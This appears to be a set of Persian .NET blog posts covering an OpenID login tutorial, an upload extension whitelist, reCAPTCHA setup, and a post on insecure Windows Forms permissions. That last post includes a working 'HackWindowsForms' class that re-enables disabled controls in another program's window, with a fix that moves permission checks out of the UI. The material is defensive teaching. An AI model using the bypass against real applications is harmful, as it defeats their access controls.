        [Required]
```

```
        [DataType(DataType.Password)]
        [Display(Name = "Current password")]
        public string OldPassword { get; set; }

        [Required]
        [ValidatePasswordLength]
        [DataType(DataType.Password)]
        [Display(Name = "New password")]
        public string NewPassword { get; set; }

        [DataType(DataType.Password)]
        [Display(Name = "Confirm new password")]
        [Compare("NewPassword", ErrorMessage = "The new password and confirmation password do not
match.")]
        public string ConfirmPassword { get; set; }
    }

    public class LogOnModel
    {
        [Display(Name = "OpenID")]
        public string OpenID { get; set; }

        [Required]
        [Display(Name = "User name")]
        public string UserName { get; set; }

        [Required]
        [DataType(DataType.Password)]
        [Display(Name = "Password")]
        public string Password { get; set; }

        [Display(Name = "Remember me?")]
        public bool RememberMe { get; set; }
    }

    public class RegisterModel
    {
        [Display(Name = "OpenID")]
        public string OpenID { get; set; }

        [Required]
        [Display(Name = "User name")]
        public string UserName { get; set; }

        [Required]
        [DataType(DataType.EmailAddress)]
        [Display(Name = "Email address")]
        public string Email { get; set; }

        [Required]
        [ValidatePasswordLength]
        [DataType(DataType.Password)]
        [Display(Name = "Password")]
        public string Password { get; set; }

        [DataType(DataType.Password)]
        [Display(Name = "Confirm password")]
        [Compare("Password", ErrorMessage = "The password and confirmation password do not match.")]
        public string ConfirmPassword { get; set; }
    }

    #endregion Models

    #region Services

    // The FormsAuthentication type is sealed and contains static members, so it is difficult to
    // unit test code that calls its members. The interface and helper class below demonstrate
    // how to create an abstract wrapper around such a type in order to make the AccountController
    // code unit testable.

    public interface IMembershipService
    {
        int MinPasswordLength { get; }

        bool ValidateUser(string userName, string password);

        MembershipCreateStatus CreateUser(string userName, string password, string email, string
OpenID);

        bool ChangePassword(string userName, string oldPassword, string newPassword);
```

```
        MembershipUser GetUser(string OpenID);
    }

    public class AccountMembershipService : IMembershipService
    {
        private readonly MembershipProvider _provider;

        public AccountMembershipService()
            : this(null)
        {
        }

        public AccountMembershipService(MembershipProvider provider)
        {
            _provider = provider ?? Membership.Provider;
        }

        public int MinPasswordLength
        {
            get
            {
                return _provider.MinRequiredPasswordLength;
            }
        }

        public bool ValidateUser(string userName, string password)
        {
            if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or
empty.", "userName");
            if (String.IsNullOrEmpty(password)) throw new ArgumentException("Value cannot be null or
empty.", "password");

            return _provider.ValidateUser(userName, password);
        }

        public Guid StringToGUID(string value)
        {
            // Create a new instance of the MD5CryptoServiceProvider object.
            MD5 md5Hasher = MD5.Create();
            // Convert the input string to a byte array and compute the hash.
            byte[] data = md5Hasher.ComputeHash(Encoding.Default.GetBytes(value));
            return new Guid(data);
        }

        public MembershipCreateStatus CreateUser(string userName, string password, string email, string
OpenID)
        {
            if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or
empty.", "userName");
            if (String.IsNullOrEmpty(password)) throw new ArgumentException("Value cannot be null or
empty.", "password");
            if (String.IsNullOrEmpty(email)) throw new ArgumentException("Value cannot be null or
empty.", "email");

            MembershipCreateStatus status;
            _provider.CreateUser(userName, password, email, null, null, true, StringToGUID(OpenID), out
status);
            return status;
        }

        public MembershipUser GetUser(string OpenID)
        {
            return _provider.GetUser(StringToGUID(OpenID), true);
        }

        public bool ChangePassword(string userName, string oldPassword, string newPassword)
        {
            if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or
empty.", "userName");
            if (String.IsNullOrEmpty(oldPassword)) throw new ArgumentException("Value cannot be null or
empty.", "oldPassword");
            if (String.IsNullOrEmpty(newPassword)) throw new ArgumentException("Value cannot be null or
empty.", "newPassword");

            // The underlying ChangePassword() will throw an exception rather
            // than return false in certain failure scenarios.
            try
            {
                MembershipUser currentUser = _provider.GetUser(userName, true /* userIsOnline */);
                return currentUser.ChangePassword(oldPassword, newPassword);
            }
```

```
            catch (ArgumentException)
            {
                return false;
            }
            catch (MembershipPasswordException)
            {
                return false;
            }
        }

        public MembershipCreateStatus CreateUser(string userName, string password, string email)
        {
            throw new NotImplementedException();
        }
    }

    public interface IFormsAuthenticationService
    {
        void SignIn(string userName, bool createPersistentCookie);

        void SignOut();
    }

    public class FormsAuthenticationService : IFormsAuthenticationService
    {
        public void SignIn(string userName, bool createPersistentCookie)
        {
            if (String.IsNullOrEmpty(userName)) throw new ArgumentException("Value cannot be null or
empty.", "userName");

            FormsAuthentication.SetAuthCookie(userName, createPersistentCookie);
        }

        public void SignOut()
        {
            FormsAuthentication.SignOut();
        }
    }

    #endregion Services

    #region Validation

    public static class AccountValidation
    {
        public static string ErrorCodeToString(MembershipCreateStatus createStatus)
        {
            // See http://go.microsoft.com/fwlink/?LinkID=177550 for
            // a full list of status codes.
            switch (createStatus)
            {
                case MembershipCreateStatus.DuplicateUserName:
                    return "Username already exists. Please enter a different user name.";

                case MembershipCreateStatus.DuplicateEmail:
                    return "A username for that e-mail address already exists. Please enter a different
e-mail address.";

                case MembershipCreateStatus.InvalidPassword:
                    return "The password provided is invalid. Please enter a valid password value.";

                case MembershipCreateStatus.InvalidEmail:
                    return "The e-mail address provided is invalid. Please check the value and try
again.";

                case MembershipCreateStatus.InvalidAnswer:
                    return "The password retrieval answer provided is invalid. Please check the value
and try again.";

                case MembershipCreateStatus.InvalidQuestion:
                    return "The password retrieval question provided is invalid. Please check the value
and try again.";

                case MembershipCreateStatus.InvalidUserName:
                    return "The user name provided is invalid. Please check the value and try again.";

                case MembershipCreateStatus.ProviderError:
                    return "The authentication provider returned an error. Please verify your entry and
try again. If the problem persists, please contact your system administrator.";

                case MembershipCreateStatus.UserRejected:
```

```
                    return "The user creation request has been canceled. Please verify your entry and
try again. If the problem persists, please contact your system administrator.";

                default:
                    return "An unknown error occurred. Please verify your entry and try again. If the
problem persists, please contact your system administrator.";
            }
        }
    }

    [AttributeUsage(AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = false,
Inherited = true)]
    public sealed class ValidatePasswordLengthAttribute : ValidationAttribute, IClientValidatable
    {
        private const string _defaultErrorMessage = "'{0}' must be at least {1} characters long.";
        private readonly int _minCharacters = Membership.Provider.MinRequiredPasswordLength;

        public ValidatePasswordLengthAttribute()
            : base(_defaultErrorMessage)
        {
        }

        public override string FormatErrorMessage(string name)
        {
            return String.Format(CultureInfo.CurrentCulture, ErrorMessageString,
                name, _minCharacters);
        }

        public override bool IsValid(object value)
        {
            string valueAsString = value as string;
            return (valueAsString != null && valueAsString.Length >= _minCharacters);
        }

        public IEnumerable<ModelClientValidationRule> GetClientValidationRules(ModelMetadata metadata,
ControllerContext context)
        {
            return new[]{
                new
ModelClientValidationStringLengthRule(FormatErrorMessage(metadata.GetDisplayName()), _minCharacters,
int.MaxValue)
            };
        }
    }

    #endregion Validation
}
```

5- در پروژه مربوطه یک Controller به نام AccountController ایجاد نمایید. و کدهای زیر را برای آنها وارد نمایید.

```
using System.Web.Mvc;
using System.Web.Routing;
using System.Web.Security;
using DotNetOpenAuth.Messaging;
using DotNetOpenAuth.OpenId;
using DotNetOpenAuth.OpenId.RelyingParty;
using OpenIDExample.Models;

namespace OpenIDExample.Controllers
{
    public class AccountController : Controller
    {
        private static OpenIdRelyingParty openid = new OpenIdRelyingParty();

        public IFormsAuthenticationService FormsService { get; set; }

        public IMembershipService MembershipService { get; set; }

        protected override void Initialize(RequestContext requestContext)
        {
            if (FormsService == null) { FormsService = new FormsAuthenticationService(); }
            if (MembershipService == null) { MembershipService = new AccountMembershipService(); }

            base.Initialize(requestContext);
        }

        // **************************************
        // URL: /Account/LogOn
```

```
        // ************************************

        public ActionResult LogOn()
        {
            return View();
        }

        [HttpPost]
        public ActionResult LogOn(LogOnModel model, string returnUrl)
        {
            if (ModelState.IsValid)
            {
                if (MembershipService.ValidateUser(model.UserName, model.Password))
                {
                    FormsService.SignIn(model.UserName, model.RememberMe);
                    if (Url.IsLocalUrl(returnUrl))
                    {
                        return Redirect(returnUrl);
                    }
                    else
                    {
                        return RedirectToAction("Index", "Home");
                    }
                }
                else
                {
                    ModelState.AddModelError("", "The user name or password provided is incorrect.");
                }
            }

            // If we got this far, something failed, redisplay form
            return View(model);
        }

        // ************************************
        // URL: /Account/LogOff
        // ************************************

        public ActionResult LogOff()
        {
            FormsService.SignOut();

            return RedirectToAction("Index", "Home");
        }

        // ************************************
        // URL: /Account/Register
        // ************************************

        public ActionResult Register(string OpenID)
        {
            ViewBag.PasswordLength = MembershipService.MinPasswordLength;
            ViewBag.OpenID = OpenID;
            return View();
        }

        [HttpPost]
        public ActionResult Register(RegisterModel model)
        {
            if (ModelState.IsValid)
            {
                // Attempt to register the user
                MembershipCreateStatus createStatus = MembershipService.CreateUser(model.UserName,
model.Password, model.Email, model.OpenID);

                if (createStatus == MembershipCreateStatus.Success)
                {
                    FormsService.SignIn(model.UserName, false /* createPersistentCookie */);
                    return RedirectToAction("Index", "Home");
                }
                else
                {
                    ModelState.AddModelError("", AccountValidation.ErrorCodeToString(createStatus));
                }
            }

            // If we got this far, something failed, redisplay form
            ViewBag.PasswordLength = MembershipService.MinPasswordLength;
            return View(model);
        }
```

```
        // ************************************
        // URL: /Account/ChangePassword
        // ************************************

        [Authorize]
        public ActionResult ChangePassword()
        {
            ViewBag.PasswordLength = MembershipService.MinPasswordLength;
            return View();
        }

        [Authorize]
        [HttpPost]
        public ActionResult ChangePassword(ChangePasswordModel model)
        {
            if (ModelState.IsValid)
            {
                if (MembershipService.ChangePassword(User.Identity.Name, model.OldPassword,
model.NewPassword))
                {
                    return RedirectToAction("ChangePasswordSuccess");
                }
                else
                {
                    ModelState.AddModelError("", "The current password is incorrect or the new password
is invalid.");
                }
            }

            // If we got this far, something failed, redisplay form
            ViewBag.PasswordLength = MembershipService.MinPasswordLength;
            return View(model);
        }

        // ************************************
        // URL: /Account/ChangePasswordSuccess
        // ************************************

        public ActionResult ChangePasswordSuccess()
        {
            return View();
        }

        [ValidateInput(false)]
        public ActionResult Authenticate(string returnUrl)
        {
            var response = openid.GetResponse();
            if (response == null)
            {
                //Let us submit the request to OpenID provider
                Identifier id;
                if (Identifier.TryParse(Request.Form["openid_identifier"], out id))
                {
                    try
                    {
                        var request = openid.CreateRequest(Request.Form["openid_identifier"]);
                        return request.RedirectingResponse.AsActionResult();
                    }
                    catch (ProtocolException ex)
                    {
                        ViewBag.Message = ex.Message;
                        return View("LogOn");
                    }
                }

                ViewBag.Message = "Invalid identifier";
                return View("LogOn");
            }

            //Let us check the response
            switch (response.Status)
            {
                case AuthenticationStatus.Authenticated:
                    LogOnModel lm = new LogOnModel();
                    lm.OpenID = response.ClaimedIdentifier;
                    //check if user exist
                    MembershipUser user = MembershipService.GetUser(lm.OpenID);
                    if (user != null)
                    {
                        lm.UserName = user.UserName;
                        FormsService.SignIn(user.UserName, false);
```

```
                    }

                    return View("LogOn", lm);

                case AuthenticationStatus.Canceled:
                    ViewBag.Message = "Canceled at provider";
                    return View("LogOn");
                case AuthenticationStatus.Failed:
                    ViewBag.Message = response.Exception.Message;
                    return View("LogOn");
            }

            return new EmptyResult();
        }
    }
}
```

-6 سپس برای Action به نام LogOn یک View می‌سازیم، برای Authenticate نیازی به ایجاد View ندارد چون قرار است درخواست کاربر را به آدرس دیگری Redirect کند. سپس کدهای زیر را برای View ایجاد شده وارد می‌کنیم.

```
@model OpenIDExample.Models.LogOnModel
@{
    ViewBag.Title = "Log On";
}
<h2>
    Log On</h2>
<p>
    Please enter your username and password. @Html.ActionLink("Register", "Register")
    if you don't have an account.
</p>
<script src="@Url.Content("~/Scripts/jquery.validate.min.js")" type="text/javascript"></script>
<script src="@Url.Content("~/Scripts/jquery.validate.unobtrusive.min.js")"
type="text/javascript"></script>
<form action="Authenticate?ReturnUrl=@HttpUtility.UrlEncode(Request.QueryString["ReturnUrl"])"
method="post" id="openid_form">
<input type="hidden" name="action" value="verify" />
<div>
    <fieldset>
        <legend>Login using OpenID</legend>
        <div class="openid_choice">
            <p>
                Please click your account provider:</p>
            <div id="openid_btns">
            </div>
        </div>
        <div id="openid_input_area">
            @Html.TextBox("openid_identifier")
            <input type="submit" value="Log On" />
        </div>
        <noscript>
            <p>
                OpenID is service that allows you to log-on to many different websites using a single
                indentity. Find out <a href="http://openid.net/what/">more about OpenID</a> and
                <a href="http://openid.net/get/">how to get an OpenID enabled account</a>.</p>
        </noscript>
        <div>
            @if (Model != null)
            {
                if (String.IsNullOrEmpty(Model.UserName))
                {
                <div class="editor-label">
                    @Html.LabelFor(model => model.OpenID)
                </div>
                <div class="editor-field">
                    @Html.DisplayFor(model => model.OpenID)
                </div>
                <p class="button">
                    @Html.ActionLink("New User ,Register", "Register", new { OpenID = Model.OpenID })
                </p>
                }
                else
                {
                    //user exist
                <p class="buttonGreen">
                    <a href="@Url.Action("Index", "Home")">Welcome , @Model.UserName, Continue..." </a>
                </p>
```

```
                }
            }
        </div>
    </fieldset>
</div>
</form>
@Html.ValidationSummary(true, "Login was unsuccessful. Please correct the errors and try again.")
@using (Html.BeginForm())
{
    <div>
        <fieldset>
            <legend>Or Login Normally</legend>
            <div class="editor-label">
                @Html.LabelFor(m => m.UserName)
            </div>
            <div class="editor-field">
                @Html.TextBoxFor(m => m.UserName)
                @Html.ValidationMessageFor(m => m.UserName)
            </div>
            <div class="editor-label">
                @Html.LabelFor(m => m.Password)
            </div>
            <div class="editor-field">
                @Html.PasswordFor(m => m.Password)
                @Html.ValidationMessageFor(m => m.Password)
            </div>
            <div class="editor-label">
                @Html.CheckBoxFor(m => m.RememberMe)
                @Html.LabelFor(m => m.RememberMe)
            </div>
            <p>
                <input type="submit" value="Log On" />
            </p>
        </fieldset>
    </div>
}
```

پس از اجرای پروژه صفحه ای شبیه به پایین مشاهده کرده و سرویس دهنده OpenID خاص خود را می‌توانید انتخاب نمایید.

7- برای فعال سازی عملیات احراز هویت توسط FormsAuthentication در سایت باید تنظیمات زیر را در فایل web.config انجام دهید.

```
<authentication mode="Forms">
      <forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>
```

خوب تا اینجا کار تمام است و کاربر در صورتی که در سایت OpenID نام کاربری داشته باشد می‌تواند در سایت شما Login کند.
جهت مطالعات بیشتر ودانلود نمونه کدهای آماده می‌توانید به لینک‌های (^ و ^ و ^ و ^ و ^ و ^ و ^) مراجعه کنید.
کد کامل پروژه را می‌توانید از اینجا دانلود نمایید.

منبع

نظرات خوانندگان

نویسنده: ahmadalli
تاریخ: ۱۳۹۱/۰۴/۰۸ ۲۳:۱۲

خوب این کدهای شما برای نسخه‌های قدیمی MVC هست. من نصفش رو درست متوجه نشدم. اگر میشه برای نسخه ۴ یا ۳ هم مثال بزارید.

نویسنده: امیرحسین جلوداری
تاریخ: ۱۳۹۱/۰۴/۰۹ ۱:۲۵

اگه میشه کد برنامه را ضمیمه کنید...

نویسنده: صابر فتح اللهی
تاریخ: ۱۳۹۱/۰۴/۰۹ ۲:۴

کدی که ابتدا گذاشته بودم ظاهرا خیلی قدیمی بود اون با کدهای جدید تعویض کردم و لینک دانلود کد هم برای دوستان قرار دادم

نویسنده: صابر فتح اللهی
تاریخ: ۱۳۹۱/۰۴/۰۹ ۲:۲۱

اصلاح شد

نویسنده: saleh
تاریخ: ۱۳۹۱/۰۴/۱۷ ۰:۳۳

فرضاً اگه شخصی که با OID لوگین کرده بخواد در فروم سایت من فعالیت کنه چه جوری به اطلاعات پستها و اعمالش پی ببرم؟ چون این شخص در سایت ثبت نام نکرده و طبیعتاً اکانتی در سایت نداره!

در قسمت اول مقاله به این موضوعات اشاره نکردید.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۱۷ ۱۱:۴۴

بحث فوروم نوشته شده شما با طراحی یک سیستم جدید (که در اینجا مد نظر است) متفاوت است. سورس فوق را مطالعه کنید تا با نحوه یکپارچگی آن با سیستم membership دات نت آشنا شوید.

نویسنده: احمدعلی شفیعی
تاریخ: ۱۳۹۱/۰۴/۱۸ ۱۲:۳۸

ممنونم

نویسنده: کامران
تاریخ: ۱۳۹۲/۰۲/۱۲ ۲۳:۲۱

سلام دوست عزیز.
قربان برای ASP.NET Webforms هم میتونید مقاله ای رو آماده کنید؟

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۲/۱۳ ۰:۴

یک پروژه دیگر هم در سایت در مورد پروتکل OAuth هست.

نویسنده: کامران
تاریخ: ۱۳۹۲/۰۲/۱۳ ۰:۹

ممنون از جوابتون، دوست عزیز این هم سمپل و کدهاش با MVC هست، مقالاتی برای Webforms پیدا کردم به زبان لاتین اما درست توضیح داده نشده متاسفانه

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۲/۰۲/۱۳ ۰:۲۵

سلام
دوست گلم یه مثال هست گذاشتم توی این آدرس

Google OpenID Authentication در ASP.NET با استفاده از DotNetOpenAuth

عنوان: **محدود کردن کاربرها به آپلود فایل‌هایی خاص در ASP.NET MVC**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۱۶ ۰:۱
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, ASP.Net MVC

یک ادیتور آنلاین را تصور کنید که کاربران در قسمت ارسال تصویر آن قرار است فقط فایل‌های png، jpg و gif ارسال کنند و نه مثلا فایل test.aspx و موارد مشابه. در اینجا برای محدود کردن نوع فایل‌های آپلود شده می‌توان از فیلترهای سفارشی ASP.NET MVC کمک گرفت:

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web.Mvc;

namespace SecurityModule
{
    public class AllowUploadSpecialFilesOnlyAttribute : ActionFilterAttribute
    {
        readonly List<string> _toFilter = new List<string>();
        readonly string _extensionsWhiteList;
        public AllowUploadSpecialFilesOnlyAttribute(string extensionsWhiteList)
        {
            if (string.IsNullOrWhiteSpace(extensionsWhiteList))
                throw new ArgumentNullException("extensionsWhiteList");

            _extensionsWhiteList = extensionsWhiteList;
            var extensions = extensionsWhiteList.Split(',');
            foreach (var ext in extensions.Where(ext => !string.IsNullOrWhiteSpace(ext)))
            {
                _toFilter.Add(ext.ToLowerInvariant().Trim());
            }
        }

        bool canUpload(string fileName)
        {
            if (string.IsNullOrWhiteSpace(fileName)) return false;

            var ext = Path.GetExtension(fileName.ToLowerInvariant());
            return _toFilter.Contains(ext);
        }

        public override void OnActionExecuting(ActionExecutingContext filterContext)
        {
            var files = filterContext.HttpContext.Request.Files;
            foreach (string file in files)
            {
                var postedFile = files[file];
                if (postedFile == null || postedFile.ContentLength == 0) continue;

                if (!canUpload(postedFile.FileName))
                    throw new InvalidOperationException(
                        string.Format("You are not allowed to upload {0} file. Please upload only these
files: {1}.",
                                      Path.GetFileName(postedFile.FileName),
                                      _extensionsWhiteList));
            }

            base.OnActionExecuting(filterContext);
        }
    }
}
```

توضیحات کدهای فوق:

برای تهیه فیلتر محدود سازی نوع فایل‌های قابل ارسال به سرور، با ارث بری از ActionFilterAttribute شروع خواهیم کرد.
سپس با تحریف متد OnActionExecuting آن، توسط filterContext.HttpContext.Request.Files می‌توان به کلیه فایل‌های درحال ارسال به سرور در طی درخواست جاری، دسترسی یافت.
به این ترتیب از طریق مقدار خاصیت postedFile.FileName می‌توان به پسوند فایل در حال ارسال رسید و بر این اساس امکان

ارسال فایل‌های غیرمجاز را در نیمه راه با صدور یک استثناء سلب کرد.

برای استفاده از این فیلتر سفارشی تهیه شده نیز می‌توان به نحو زیر عمل کرد:

```
[AllowUploadSpecialFilesOnly(".jpg,.gif,.png")]
public ActionResult ImageUpload(HttpPostedFileBase file)
```

در اینجا پسوند فایل‌های مجاز قابل ارسال، توسط یک کاما از هم جدا خواهند شد.

یک نکته تکمیلی:

اگر کاربر قرار است تنها تصویر ارسال کند، بررسی پسوند فایل لازم است اما کافی نیست. برای این منظور می‌توان از کلاس Image واقع شده در فضای نام System.Drawing نیز کمک گرفت:

```
public static bool IsImageFile(HttpPostedFileBase photoFile)
{
    using (var img = Image.FromStream(photoFile.InputStream))
    {
         return img.Width > 0;
    }
}
```

در اینجا اگر فایل ارسالی تصویر نباشد، به صورت خودکار یک استثناء صادر خواهد شد.

نظرات خوانندگان

نویسنده: حسین مرادی نیا
تاریخ: ۱۳۹۱/۰۴/۱۷ ۱۴:۵

سلام
همانطور که گفتید چک کردن پسوند فایل الزامی است ولی کافی نیست.برای همین از کلاس Image استفاده کردید که اگر فایل ارسال شده یک فایل تصویری نبود استثنایی صادر شود. حالا برای فایل‌ها با فرمت‌های دیگه چیکار کنیم؟ (مثلا ممکن است بخواهیم به کاربر اجازه ارسال فایل‌های zip و یا rar بدهیم و مواردی از این دست).

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۱۷ ۱۴:۱۶

برای بررسی محتوایی خاص، نیاز به parser مخصوص این نوع فایل‌ها است تا بتواند بررسی کند محتوای دریافتی معتبر است یا نه و عموما کسی محتوای این نوع فایل‌ها را بررسی نمی‌کند. بنابراین بررسی پسوند در اکثر موارد کافی است.
مشکل این نیست که فایل rar واقعا rar است یا نه. مشکل این است که این فایل ارسالی، قابلیت اجرا را از طریق فراخوانی آدرس آن در مرورگر، نداشته باشد. بحث بررسی پسوند هم به همین دلیل است. فایل aspx را می‌شود از طریق فراخوانی در مرورگر بر روی سرور اجرا کرد ولی فایلی با پسوند rar این قابلیت را ندارد.

نویسنده: شاهین کیاست
تاریخ: ۱۳۹۱/۰۵/۰۹ ۲:۱

ممنون ، استثنایی که صادر می‌شود را چطور میشه ؟ در بدنه‌ی Action مربوطه مدیریت کرد ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۹ ۸:۲۳

لازم نیست مدیریت کنید. هدف این بوده که نظم جاری را تغییر دهد. این استثناء توسط ELmah دریافت و ثبت خواهد شد. همچنین کاربر به یکی از صفحات پیش فرض خطای برنامه هدایت می‌شود و متوجه خواهد شد که خطایی رخ داده است.
ولی در کل می‌شود IExceptionFilter را نیز پیاده سازی و مدیریت کرد:

```
public class CustomFilter : FilterAttribute, IExceptionFilter
{
    public void OnException(ExceptionContext filterContext)
    {
```

نویسنده: رضوی
تاریخ: ۱۳۹۱/۰۵/۲۸ ۸:۵۳

سلام

چند نکته تکمیلی برای امنیت بیشتر
1- بهتر است که فایل روی دیتابیس ذخیره شود، در غیر اینصورت نام فایل و پسوند توسط سیستم تعیین شود.
2- نام و پسوند ارسالی در نظر گرفته نشود.
3- با اندازه گیری سایز فایل GIF نمیتوان به معتبر بودن آن اطمینان داشت.

http://www.pyxsoft.com/en/hacking-hackers.html
/http://www.exploit-db.com/exploits/16181

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۱/۰۷ ۱۱:۱۶

یک نکته‌ی تکمیلی

نحوه‌ی فقط خواندنی کردنی دسترسی به فایل‌های یک پوشه (گرفتن دسترسی اجرا)

```
<location path="upload">
  <system.webServer>
    <handlers accessPolicy="Read" />
  </system.webServer>
</location>
```

عنوان: **روش نادرست اعمال دسترسی کاربر به منوها و کنترلهای فرم در windows form ها**
نویسنده: رحمت اله رضایی
تاریخ: ۱۳۹۱/۰۴/۲۵ ۰:۴۱
آدرس: www.dotnettips.info
برچسب‌ها: Security, هک, windows form

معمولا وقتی صحبت از هک می‌شود بیشتر وب سایتها مدنظر هستند و کمتر به نرم افزارهای محیط desktop توجه می‌شود اما در محیط desktop هم امنیت بسیار مهم است.

یکی از مواردی که در رابطه با windows formها (دات نتی و غیر دات نتی) بسیار به آن برخورد کرده ام اعمال دسترسی کاربر به قسمتهای مختلف فرم با مخفی یا غیر فعال کردن دکمه‌ها و کنترلهای فرم است. به این صورت که در هنگام لود فرم اصلی با توجه به دسترسی کاربر بعضی منوها مخفی می‌شوند و در لود هر فرم هم بعضی از دکمه‌ها و کنترلهای روی فرم مخفی یا غیر فعال می‌شوند. **همین!**

اما اگر کاربر به کمک ابزاری بتواند منوها و کنترلهای مخفی فرم را نمایش دهد و منوها و کنترلهای غیرفعال را فعال کند چی؟

کلاس زیر را در نظر بگیرید :

```
public class HackWindowsForms
    {
        struct POINTAPI
        {
            public int X;
            public int Y;
        }

        [DllImport("user32.dll")]
        static extern int EnumChildWindows(int hWndParent, EnumChildCallbackDelegate enumChildCallback,
int lParam);
        [DllImport("user32.dll")]
        static extern int EnableWindow(int hwnd, int fEnable);
        [DllImport("user32.dll")]
        static extern int WindowFromPoint(int x, int y);
        [DllImport("user32.dll")]
        static unsafe extern int GetCursorPos(POINTAPI* lpPoint);

        delegate int EnumChildCallbackDelegate(int hwnd, int lParam);

        public static void EnableThisWindowControls()
        {
            unsafe
            {
                POINTAPI cursorPosition = new POINTAPI();
                GetCursorPos(&cursorPosition);
                int winWnd = WindowFromPoint(cursorPosition.X, cursorPosition.Y);
                EnumChildWindows(winWnd, EnumChildCallback, 0);
            }
        }


        static int EnumChildCallback(int hwnd, int lParam)
        {
            EnableWindow(hwnd, 1);
            EnumChildWindows(hwnd, EnumChildCallback, 0);
            return 1;
        }
    }
```

یک پروژه ویندوز فرم ایجاد کنید و دکمه ای روی فرم قرار دهید. برای MouseUp آن کد زیر را بنویسید :

```
private void button1_MouseUp(object sender, MouseEventArgs e)
        {
            HackWindowsForms.EnableThisWindowControls();
            MessageBox.Show("حالا روی دکمه مورد نظر کلیک کنید و کلید space را فشار دهید.", "",
MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1,
MessageBoxOptions.RtlReading);
```

```
        }
```

حالا اگر برنامه را اجرا کنید و روی دکمه کلیک کنید و ماوس را نگهدارید سپس روی نوار عنوان پنجره مورد نظر رها کنید، تمام کنترلهای روی آن پنجره فعال خواهند شد!
نمونه کد مشابهی هم برای نمایش منوها و کنترلهای مخفی شده می‌توان نوشت.

اما راه حل چیست؟
قبل از اجرای هر عملی که احتیاج به دسترسی دارد، دسترسی کاربر چک شود و فقط به غیر فعال و مخفی کردن کنترلها بسنده نشود. مثلا اگر دکمه ویرایش را غیر فعال کرده ایم در کلیک آن هم دسترسی چک شود.

نظرات خوانندگان

نویسنده: Blackstar
تاریخ: ۱۳۹۱/۰۴/۲۵ ۰:۴۹

بهتر نیست اون منو ویا شئ رو dispose کرد

نویسنده: رحمت اله رضایی
تاریخ: ۱۳۹۱/۰۴/۲۵ ۱۰:۱۱

از مخفی و غیرفعال کردن بهتر است (البته تجربه این روش رو ندارم). اما در هر صورت راه حل اصلی همان است که گفتم.

نویسنده: صابر فتح اللهی
تاریخ: ۱۳۹۱/۰۴/۲۵ ۱۰:۳۷

مطمعنا بیشتر از 80 درصد نرم افزارهای داخلی اینگونه طراحی شدن حاضرم از نرم افزارهای اتوماسیون اداری شرکت‌های مهمی نام ببرم که به این روش کار کردن چون دیدم دارم می‌گم

روشی که اقای رضایی می‌گن درسته، من کمتر تحت ویندوز کار کردم اما همیشه روش اقای رضایی انجام دادم

در کل پست به جایی بود ممنون

نویسنده: naser faraji
تاریخ: ۱۳۹۱/۰۴/۲۵ ۱۷:۲۹

ممنون از مقاله زیباتون. بله حرف شما کاملا درسته و بسیاری از نرم افزارهای مالی و حسابداری ایرانی به همین روش نوشته شده!

نویسنده: Mohsen
تاریخ: ۱۳۹۱/۰۴/۳۰ ۱۸:۳۵

سلام
مشکل درست است ولی راه حل ساده است.
بهتر است بر اساس دسترسی کاربر مورد نظر منوها و کنترل‌های روی صفحه در هنگام اجرا ایجاد گردند.
در دات نت کنترلی(FlowLayoutPanel) هم برای مرتب سازی خودکار کنترل‌های ایجاد شده در هنگام اجرا وجود دارد که قضیه را بسیار ساده می‌کند.

عنوان: **استفاده از reCAPTCHA در ASP.NET**
نویسنده: علیرضا اسم‌رام
تاریخ: ۱۳۹۱/۰۴/۲۹ ۱۹:۳۹
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Security, CAPTCHA

CAPTCHA جهت تشخیص انسان در وب استفاده می‌شود. در حقیقت می‌توان CAPTCHA را مانعی مابین منابع یک سایت و روبات‌های مخرب دانست. گوگل یک CAPTCHA رایگان جهت استفاده توسعه دهندگان وب مهیا کرده است که استفاده از آن را به چند دلیل می‌توان مثبت دانست:

فراگیر بودن آن و استفاده سایت‌های مختلف از آن (بیش از 200.000 سایت).
سهولت استفاده برای کاربران.
سهولت استفاده توسط برنامه نویسان.
دسترسی پذیری مناسب بدلیل وجود تلفظ و پخش عبارت، بصورت صوتی.
امنیت بالا. بسیاری از CAPTCHAها به سادگی قابل شکستن هستند!

حال اجازه دهید نگاهی به نحوه استفاده از reCAPTCHA در ASP.NET داشته باشیم:

1. پس از اینکه به حساب کاربری خود در Google وارد شدید به این صفحه + مراجعه کنید تا یک API Key جدید برای سایت خود ایجاد کنید. برای استفاده از reCAPTCHA اولین پیش نیاز داشتن یک API Key معتبر است.

2. دانلود reCAPTCHA ASP.NET Library. این کتابخانه شامل کنترل reCAPTCHA است. پس از دریافت، **Recaptcha.dll** را توسط گزینه **Add Reference** به پروژه خود اضافه کنید.

3. جهت استفاده از این کنترل، در بالای صفحه از دستور زیر استفاده کنید:

```
<%@ Register TagPrefix="recaptcha" Namespace="Recaptcha" Assembly="Recaptcha" %>
```

سپس کنترل reCAPTCHA را در محل مناسب قرار دهید:

```
<recaptcha:RecaptchaControl
    ID="recaptcha"
    runat="server"
    PublicKey="your_public_key"
    PrivateKey="your_private_key"
    />
```

4. حال جهت بررسی و اعتبار سنجی فرم باید از متد IsValid کلاس Page استفاده شود. نمونه کد مورد نظر در VB.NET بصورت زیر است:

```
Sub btnSubmit_Click(ByVal sender As Object, ByVal e As EventArgs)
          If Page.IsValid Then
              lblResult.Text = "You Got It!"
              lblResult.ForeColor = Drawing.Color.Green
          Else
              lblResult.Text = "Incorrect"
              lblResult.ForeColor = Drawing.Color.Red
          End If
      End Sub
```

نظرات خوانندگان

نویسنده: زهرا
تاریخ: ۱۳۹۱/۰۴/۳۱ ۹:۱۴

با سلام

